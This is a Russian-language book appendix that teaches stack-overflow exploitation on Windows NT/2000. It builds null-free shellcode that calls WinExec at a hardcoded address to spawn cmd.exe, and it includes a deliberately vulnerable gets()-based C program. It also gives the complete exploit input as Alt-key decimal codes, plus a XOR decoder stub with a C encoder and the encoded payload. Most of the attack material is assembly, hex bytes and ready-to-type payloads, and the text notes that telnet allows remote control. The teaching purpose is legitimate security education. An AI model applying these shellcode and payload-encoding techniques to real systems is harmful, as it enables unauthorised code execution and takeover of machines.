Дополнение. Использование срыва стека для запуска командного интерпретатора под Windows NT

 

Получив возможность выполнения своего кода на удаленной машине, злоумышленник, как правило, стремится запустить командный интерпретатор, или пытается вызвать системные функции для повышения своего статуса или регистрации нового пользователя в системе. Модификация же кода уязвимой программы (примеры которой приведены в главе «Технология срыва стека») не всегда позволяет атакующему получить желаемый результат.

Под управлением UNIX такая операция не представляет больших сложностей. Функции ядра могут быть вызваны либо посредством программного прерывания INT 0x80 (в LINUX), либо передачей управления по особому адресу, именуемому точкой входа ядра в системах совместимых с System V расположенного по адресу 0x0007:0x00000000. Среди системных вызовов наличествуют и функция exec, которая вкупе с fork (или даже без оной) позволяет запускать другие программы, в том числе и командный интерпретатор, или в терминологии UNIX – оболочку (Shell).

Функция ядра Windows NT доступны через программное прерывание INT 0x2F, но все они «сырые» и не готовы к непосредственному использованию. Одного вызова функции ZwCreateProcess, она же NtCreateProcess (EAX=0x29, INT 0x2Fh) для создания нового потока еще не достаточно. Реализация CreateProcessA (CreateProcessW), размещенная в модуле KERNEL32.DLL, содержит много «обвязочного» кода, в чем легко убедиться, заглянув в него дизассемблером.

Запустить приложение, пользуясь только сервисом, предоставляемым прерыванием INT 0x2F можно, но требует значительного объема памяти, который атакующему, скорее всего, окажется недоступен. Поэтому, приходится прибегать к вызову функций из модулей DLL. Традиционно для этого загружают выбранный модуль вызовом LoadLibray, а затем получают адрес требуемой функции с помощью GetProcAddress. Например, на Си вызов командного интерпретатора может выглядеть так:

 

· UINT (__stdcall *x) (LPCSTR lpCmdLine, UINT uCmdShow);

· x= (UINT (__stdcall *)(LPCSTR lpCmdLine, UINT uCmdShow))

· (GetProcAddress(LoadLibrary("KERNEL32.DLL")," WinExec "));

· x("cmd.exe",SW_SHOW);

 

 

Использование устаревшей функции “WinExec” вместо современной “CreateProcess” значительно упрощает код. Вместо десяти аргументов CreateProcess, функция WinExec имеет всего два – указатель на командную строку и статус отображения окна после запуска. Даже компилятор свободно укладывается в семьдесят с небольшим байт, оставляя простор для оптимизации:

 

·.text:00401000 55 push ebp

·.text:00401001 8B EC mov ebp, esp

·.text:00401003 51 push ecx

·.text:00401004 68 30 50 40 00 push 405030h

·.text:00401009 68 38 50 40 00 push offset aKernel32_dll; "KERNEL32.DLL"

·.text:0040100E FF 15 04 40 40 00 call ds:LoadLibraryA

·.text:00401014 50 push eax

·.text:00401015 FF 15 48 40 40 00 call ds:GetProcAddress

·.text:0040101B 89 45 FC mov [ebp+var_4], eax

·.text:0040101E 6A 05 push 5

·.text:00401020 68 48 50 40 00 push offset aCmd_exe; "cmd.exe"

·.text:00401025 FF 55 FC call [ebp+var_4]

·.text:00401028 8B E5 mov esp, ebp

·.text:0040102A 5D pop ebp

·.text:0040102B C3 retn

· …

· data:00405030 57 69 6E 45 78 65+aWinexec db 'WinExec',0

· data:00405038 4B 45 52 4E 45 4C+aKernel32_dll db 'KERNEL32.DLL',0

· data:00405045 00 00 00 align 4

· data:00405048 63 6D 64 2E 65 78+aCmd_exe db 'cmd.exe',0

 

Но сразу же возникают следующие трудности[322]: наличие нулевых символов не позволяет ввести такой код с клавиатуры. Можно конечно, снабдить код расшифровщиком, один из примеров которого приведен в дополнении «Шифровка кода», добившись исчезновения всех нулевых символов во вводимой строке. Но и сам шифровщик потребует какое-то количество памяти, которой может попросту не хватить. Другая трудность заключается в следующем – функции LoadLibrary и GetProcAddress реализованы наполовину в NTDLL.DLL, наполовину в KERNEL32.DLL и через прерывание INT 0x2E недоступны. Прежде чем их использовать, следует загрузить KERNEL32.DLL (но с помощью чего?) и определить адрес функции GetProcAddress (например, вызовом самой GetProcAddress[323]).

После сказанного может возникнуть вопрос, – как же приложения под Windows еще ухитряются работать? Существует такое понятие как неявная компоновка, – подключение необходимых библиотек еще на стадии загрузки файла. Для этого необходимо перечислить все требуемые функции в секции импорта PE-файла. Именно так и поступают программисты для вызова внешних функций, а к LoadLibrary прибегают редко.

Но даже если злоумышленник и получит доступ к секции импорта (а для этого необходимо иметь право записи в исполняемый и, как правило, исполняющийся в данный момент файл[324]), то он столкнется с проблемой модифицирования готовой секции импорта, что само по себе представляет нетривиальную задачу. Наконец, если добавление новых элементов пройдет успешно, изменения возымеют силу только после последующей загрузки файла.

На самом же деле, используя ряд допущений, можно решить ту же задачу более простым путем. Одна из недокументированных особенностей Windows состоит в том, во всех процессах система проецирует модуль KERNEL32.DLL по одним и тем же адресам. Поскольку, трудно представить себе приложение, обходящееся без KERNERL32.DLL[325], то можно сделать предположение, что модуль KERNEL32 уже загружен и в вызове LoadLibrary уже нет никакой необходимости.

Сложнее избавится от использования GetProcAddress. Адреса функций KERNEL32.DLL идентичны для всех процессов, но варьируются в зависимости от версии операционной системы. Существует несколько универсальных способов более или менее работоспособных во всех версиях (например, попытка найти GetProcAddress в таблице импорта текущего процесса), но все они либо ненадежны, либо их реализация занимает значительное количество памяти. Поэтому, ниже будет рассмотрен самый простой способ использования фиксированных адресов. Единственный его недостаток заключается в «привязанности» к конкретной версии операционной системы.

Для определения адреса функции WinExec можно воспользоваться следующим кодом (или изучить секцию импорта с помощью утилиты dumpbin, поставляемую с любым Windows-компилятором):

 

· printf(“0x%X \n”,

· GetProcAddress(

· LoadLibrary("KERNEL32.DLL"),"WinExec"

·)

·);

 

Под управлением Windows 2000 (сборка 2195) программа возвратит адрес 0x77E98601, в других версиях возможны иные значения. Тогда код, запускающий некую программу, может выглядеть следующим образом:

 

· 00000000: 68 78 56 34 12 push 012345678;

· 00000005: 68?????? ?? push offset cmdLine;

· 0000000A: B8 01 86 E9 77 mov eax,077E98601;"

· 0000000F: FF D0 call eax

 

Всего шестнадцать байт без учета длины имени файла и кода, возвращающего управление основной ветке программы.

Некоторые пояснения: поскольку, функции API Windows вызываются по соглашению PASCAL, то аргументы заносятся в стек справа на лево, и выталкивает их из стека сама вызываемая функция. Первой передается константа WS_SHOW, равная пяти. Если передать любое другое ненулевое значение, функция все равно отработает успешно, но появится возможность избавится от трех нулей, присутствующих в двойном слове, младший байт которого равен пяти. Смещение строки, содержащей имя файла, так же содержит нуль в своем старшем байте, от которого необходимо избавится. Так же необходимо как-то освободится от завершающего строку нуля.

Если приведенный выше код расположить в локальном буфере функции и передать ему управление командой ret, он окажется неработоспособным. До выхода из функции пространство стека, занятое локальными переменными, освобождается: регистр указателя верхушки стека смещается вниз на дно кадра стека, а поскольку функция WinExec интенсивно использует стек, то, с вероятностью близкой к единице, код, вызывающий WinExec, окажется уничтожен и после возврата из функции произойдет исключение, приводящее к аварийному завершению программы. Во избежание этого необходимо «поднять» указатель верхушки стека, восстанавливая кадр стека. Для этого можно воспользоваться командой “SUB ESP,??”, которая в шестнадцатеричных кодах выглядит так: “83 EC??”, и не содержит нулей в старших байтах константы, поскольку ей отводится всего один знаковый байт, который может принимать значения от –0x7F до 0x7F. Если этого окажется недостаточно, можно использовать несколько команд “SUB ESP,??” или поискать какие-нибудь другие решения (которых просто море).

Избавится от нуля в смещении строки можно, например, следующим образом: запустить отладчик и установить точку останова на команде “ret”. Дождавшись всплытия отладчика, выбрать регистр, старшее слово которого совпадает со смещением строки. Если же такового не окажется, можно прибегнуть к следующему приему:

 

· 00000000: 33 C0 xor eax,eax

· 00000002: B0?? mov al,??;"f

· 00000004: C1 E0 10 shl eax,010;

· 00000007: 66 B8???? mov ax,????;

 

Не сложнее избавится и от нуля, завершающего строку. Достаточно прибегнуть, например, к самомодифицирующемуся коду, который может выглядеть, например, следующим образом (регистр EAX должен указывать на начало строки):

 

· 00000000: FE4007 inc b,[eax][00007]

· 000000x0: 63 ‘c’

· 000000x1: 6D ‘m’

· 000000x2 64 ‘d’

· 000000x3: 2E ‘.’

· 000000x4: 65 ‘e’

· 000000x5 78 ‘x’

· 000000x6: 65 ‘e’

· 000000x7: FF ‘\xFF’

 

Строку завершает байт 0xFF, который командой INC, превращается в ноль! Разумеется, допустимо использовать и другие математические операции, например, SUB или логические XOR, AND.

Объединив все вышесказанное, можно получить код, который может выглядеть, например, так:

 

· 00000000: 83 EC?? sub esp,??;

· 00000003: 33 C0 xor eax,eax

· 00000005: B0?? mov al,??;

· 00000007: 50 push eax;

· 00000008: C1 E0 10 shl eax,010;

· 0000000B: 66 B8???? mov ax,????;

· 0000000F: FE 40 07 inc b,[eax][00007];

· 00000012: 50 push eax;

· 00000013: B8 01 86 E9 77 mov eax,077E98601;"

· 00000018: FF D0 call eax;

· 0000001A: EB FE jmps 00000001A;

· 0000001C: 63 ‘c’;

· 0000001D: 6D ‘m’;

· 0000001E: 64 ‘d’;

· 0000001F: 2E ‘.’;

· 00000020: 65 ‘e’;

· 00000021: 78 ‘x’;

· 00000022: 65 ‘e’;

· 00000023: FF ‘\xFF’;

 

Вместо возращения управления основой ветке программы, в коде, приведенном выше, использовано зацикливание. Это не самое лучшее решение, однако, чаще всего оно никак не отражается на работоспособности атакуемой программы, (т.е. не вешает ее), поскольку каждый подключившийся к серверу пользователь обычно обрабатывается отдельным потоком. Однако, возможно значительное падение производительности, особенно хорошо заметное на однопроцессорных машинах и правильнее было бы вгонять поток в сон, например, воспользовавшись вызовом WaitForSingleObject. Но в некоторых случаях можно обойтись и без этого[326].

Пусть, например, имеется следующая программа, содержащая ошибку переполнения буфера (на диске, прилагаемом к книге, она находится в файле “/SRC/buff.cmd.c”):

 

· #include <stdio.h>

· #include <string.h>

·

·

· auth()

· {

· char pass[32];

· printf("Passw:"); gets(&pass[0]);

· if (!strcmp(&pass[0],"KPNC*"))

· return 1;

· return 0;

· }

·

· main()

· {

· printf("CMD Shell Demo\n");

· if (auth())

· printf("Password ok\n");

· else

· printf("Invalid password\n");

·

· }

 

Если откомпилировать этот файл с помощью Microsoft Visual Studio 6.0 и запустить под отладчиком, установив точку останова в начале процедуры auth(), можно узнать адрес буфера в стеке, размер кадра стека и значение регистров при выходе из функции (разумеется, для этого необходимо трассировать код, пока не встретится команда ret). Отладчик в этот момент может выглядеть так (смотри рисунок 076):

 

 

Рисунок 076 Выяснение адреса буфера

 

Значение регистра ESP в момент выхода из функции равно 0x12FF7C[327], а размер кадра стека 0x20+0x4 = 0x24 байт (четыре байта занимает сохраненное в стеке значение регистра EBP). Следовательно, адрес буфера (а он находится на вершине стека) равен 0x12FF7C ‑ 0x24 = 0x12FF58. Задав этот адрес в окне дампа памяти можно удостовериться, что сюда действительно помещается введенная пользователем строка.

Значение регистра EDX после выхода из функции strcmp совпадает со смещением начала буфера. Поэтому, код для запуска командного интерпретатора путем вызова WinExec может выглядеть так:

 

· 00000000: 83 EC 30 sub esp,030;

· 00000003: 52 push edx;

· 00000004: B2 6B mov dl,06B;

· 00000006: FE 42 07 inc b,[edx][00007];

· 00000009: 52 push edx;

· 0000000A: B8 01 86 E9 77 mov eax,077E98601;

· 0000000F: FF D0 call eax;

· 00000011: EB FE jmps 000000011;

· 00000013: 63 ‘c’

· 00000014: 6D ‘m’

· 00000015 64 ‘d’

· 00000016: 2E ‘.’

· 00000017: 65 ‘e’

· 00000018 78 ‘x’

· 00000019: 65 ‘e’

· 0000001A: FF ‘\xFF’

 

Смещение строки “cmd.exe” в буфере равно 0x13, следовательно, младший байт регистра EDX должен быть равен 0x58+0x13 = 0x6B. Остается вычислить адрес возврата, задаваемый 37, 38 и 39 байтами вводимой строки (размер буфера 32 байта и еще 4 байта занимает сохраненное значение регистра EBP). Он равен (с учетом обратного порядка байтов) 0x88 0xFF 0x12.

Тогда, вся строка в десятичном представлении (приготовленная для ввода через Alt) будет выглядеть так (на диске, прилагаемом к книге, она находится в файле “/SRC/buff.cmd.2000.key”, однако, перенаправление ввода блокирует клавиатуру и в командном интерпретаторе, поэтому все же придется набирать эту строку вручную):

 

· 131 236 048 082 178 107 254 066 007 082 184 001 134

· 233 119 255 208 235 254 099 109 100 046 101 120 101

· 255 088 088 088 120 088 088 120 120 088 088 255 018

 

Если ввести его правильно и без ошибок, запустится командный интерпретатор, что и демонстрирует рисунок 077.

 

 

Рисунок 077 Демонстрация запуска командного интерпретатора

 

Поскольку Windows 2000 поставляется вместе с telnet-сервером, злоумышленник получает возможность запустить cmd.exe на удаленной машине и управлять ею по своему усмотрению. Штатная поставка Windows NT 4.0 не содержит средств для поддержки такого сервиса, однако, злоумышленник может передать необходимые инструкции в командной строке, например, так: “cmd.exe /k copy xxxx yyyyy”, для копирования выбранного файла в доступную ему директорию.

Точно так можно запустить и любой другой файл, не только командный интерпретатор. Однако, описанный метод запуска программ, привязан к конкретной версии операционной системы и код, написанный для одной из них, окажется неработоспособен в другой. В UNIX системах, совместимых с System V адреса системных вызовов стандартизированы и не меняются от версии к версии.

 

Дополнение. Шифровка кода

 

В дополнении «Использование срыва стека для запуска командного интерпретатора под Windows NT» к главе «Технология срыва стека» были рассмотрены некоторые способы избавления от нулей, встречающихся в исполняемом коде. Грубо их можно разделить на следующие категории:

 

· Использование математических и логических операций для вычисления требуемого результата на лету. (Например: XOR EAX,EAX; AND EAX,0xFF??FFFF; INC [EAX])

· Использование SEX[328]-мнемоник, (Например, вместо 05 20 00 00 00 add eax,0x20 можно использовать 83 C0 20 add eax,+0x20)

· Использование регистров (ячеек памяти) уже содержащих требуемое значение

 

Однако SEX-мнемоники выручают не во всех случаях, использование «мусора», оставленного вызывающий код функцией, ненадежно и не позволяет создать мобильный код[329], а использование математических операций для избавления от каждого нуля при большом количестве нулей потребует много памяти, которой может не хватить.

Поэтому, часто оказывается выгоднее шифровать весь код целиком, поскольку простейший декодер занимает порядка шестнадцати байт, а каждая операция избавления от нулевой ячейки требует по крайней мере три байта (FE 42?? INC b, [EDX+??]). Легко посчитать, если в передаваемом коде наличествуют более шести нулевых несмежных байт, использование декодера позволяет сэкономить память.

Другое преимущество декодера заключается в упрощении кода, поскольку теперь не требуется «ломать голову», пытаясь избавится от вездесущих нулей. Например, следующая конструкция позволяет создавать мобильный код, работающий независимо от того, где он расположен в памяти:

 

· 00000000: E8 00 00 00 00 call 000000005

· 00000005: 58 pop eax

 

Вызов CALL 0x5 заносит в стек значение регистра указателя команд, который содержит смещение следующей инструкции, а инструкция EAX выталкивает его из стека. Теперь появляется возможность адресовать все смещения, используя EAX (или любой другой регистр) в качестве базы.

Но вызов “CALL 0x5” содержит четыре нулевых байта, поэтому должен быть переписан таким образом, в нем не встретилось ни одного нуля. Один из возможных вариантов показан ниже:

 

· 00000000: EB03 jmps 000000005

· 00000002: 58 pop eax

· 00000003: EB05 jmps 00000000A

· 00000005: E8F8FFFFFF call 000000002

 

Это не только занимает много памяти, но и усложняет написание программы, поскольку постоянно приходится помнить о «злополучных» нулях и выискивать такие комбинации, где они не встречаются. А это требует очень хорошо значения ассемблера и принципа кодирования команд микропроцессора. Декодер же способен автоматически избавиться от всех нулей, упрощая написание программы.

В простейшем случае сердцем декодера может стать логическая операция XOR. Одно из ее свойств заключается в том, что A XOR B = (A XOR B) XOR B, т.е. повторное шифрование восстанавливает исходный текст.

Другое свойство XOR: A XOR A == 0, поэтому в качестве ключа шифрования необходимо выбрать такой байт, который бы ни разу не встречался в шифруемом коде, иначе он обратится в ноль, что недопустимо.

Один из вариантов расшифровщика приведен ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/xor.bin”):

 

· 00000000: 33 C9 xor ecx,ecx

· 00000002: 83 C1 10 add ecx,??;

· 00000005: 33 C0 xor eax,eax

· 00000007: 83 C0 10 add eax,011;

· 0000000A: 80 34 04?? xor b,[esp][eax],??;

· 0000000E: 40 inc eax

· 0000000F: E2 F9 loop 00000000A -------- (1)

 

Для обеспечения мобильности все смещения вычисляются от регистра ESP, при этом он должен указывать на начало декодера. А в регистр ECX необходимо занести длину расшифровываемого фрагмента.

Например, код, запускающий командный интерпретатор в программе buff.cmd.c (смотри дополнение «Использование срыва стека для запуска командного интерпретатора под Windows NT), переписанный с использованием декодера может выглядеть так:

 

· 00000000: 83 EC 30 sub esp,030;

· 00000003: 8B C4 mov eax,esp

· 00000005: 33 C9 xor ecx,ecx

· 00000007: 83 C1 13 add ecx,013;

· 0000000A: 80 70 19 90 xor b,[eax][00019],090;

· 0000000E: 40 inc eax

· 0000000F: E2 F9 loop 00000000A

· 00000011: 50 push eax

· 00000012: 83 C0 14 add eax,014;

· 00000015: 50 push eax

· 00000016: B8 01 86 E9 77 mov eax,077E98601;

· 0000001B: FF D0 call eax

· 0000001D: EB FE jmps 00000001D

· 0000001F: 63 ‘c’

· 00000020: 6D ‘m’

· 00000021: 64 ‘d’

· 00000022: 00 ‘\0’

· 00000023: 34 незначащий байт

· 00000024: 58 адрес

· 00000025: FF возв-

· 00000026: 12 рата

· 00000027: 00

 

Расшифровщик занимает много места и в остающееся пространство уже не удается целиком записать имя командного интерпретатора. Конечно, функция WinExec сумеет запустить файл без указания расширения, но в оставшиеся четыре байта влезет имя далеко не всякого файла. Поэтому, использование декодера в этом случае явно нецелесообразно, и приводится лишь для приведения работоспособной иллюстрации к главе.

Но полученный код еще не готов к употреблению. Со смещения 0х11 (первый расшифровываемый байт) по 0х23 (последний расшифровываемый байт) его необходимо зашифровать, выполнив над каждым байтом операцию XOR 0x90. Такой ключ шифрования выбран потому, что в шифруемом фрагменте нет ни одного байта, равного 0х90. Следовательно, в зашифрованной строке не окажется ни одного нуля. Другим недопустимым символом является код клавиши <ENTER>, равный 0xD. Если он встретится во вводимой строке, система воспримет его как завершение строки и прекратит ввод.

Для шифровки можно воспользоваться любой утилитой, наподобие шестнадцатеричных редакторов QVIEW (или HIEW), но нетрудно это реализовать и на языке Си. Один из простейших вариантов приведен ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.crypt.c”). Для упрощения понимания его работы никакие проверки не выполняются.

 

· #include <stdio.h>

·

· main()

· {

· FILE *fin,*fout;

· char buff[40];

· int a=0x11;

·

· fin=fopen("buff.raw","rb");

· fout=fopen("buff.ok","wb");

· fread(&buff[0],1,40,fin);

· for (;a<0x24;a++) buff[a]=buff[a] ^ 0x90;

· fwrite(&buff[0],1,40,fout);

· close(fin);

· close(fout);

· }

·

·

 

Полученный в результате шифровки файл должен выглядеть следующим образом (на диске, прилагаемом к книге, он находится в директории “/SRC” и называется “buff.ok”)

 

· 00000000: 83 EC 30 8B C4 33 C9 83 │ C1 13 80 70 19 90 40 E2 Гь0Л─3╔Г┴‼Аp↓Р@т

· 00000010: F9 C0 13 50 84 C0 28 91 │ 16 79 E7 6F 40 7B 6E F3 ∙└‼PД└(С▬yчo@{nє

· 00000020: FD F4 90 A4 58 FF 12 00 │ ¤ЇРдX ↕

 

То же самое в десятичном виде, предназначенное для ввода в компьютер с помощью клавиши Alt выглядит так:

 

· 131 236 048 139 196 051 201 131 193 019 128 112 025

· 144 064 226 249 192 019 080 132 192 040 145 022 121

· 231 111 064 123 110 243 253 244 144 164 088 255 018

 

Если все ввести правильно и без ошибок, запустится командный интерпретатор.